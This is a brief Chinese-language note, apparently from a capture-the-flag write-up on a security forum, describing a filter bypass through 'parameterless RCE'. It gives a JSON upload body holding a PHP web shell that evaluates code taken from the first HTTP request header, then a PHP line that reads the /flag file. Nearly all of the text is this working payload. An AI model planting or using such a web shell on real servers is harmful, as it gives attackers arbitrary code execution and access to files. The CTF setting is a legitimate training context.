因为有过滤所以使用无参数
rce{"data":"<?php eval(current(getallheaders())) ?>"}
上传文件以后 无参数rce是执行headers 里面的参数。
echo file_get_contents("/flag");
看雪侠者千人榜,看看你上榜了吗?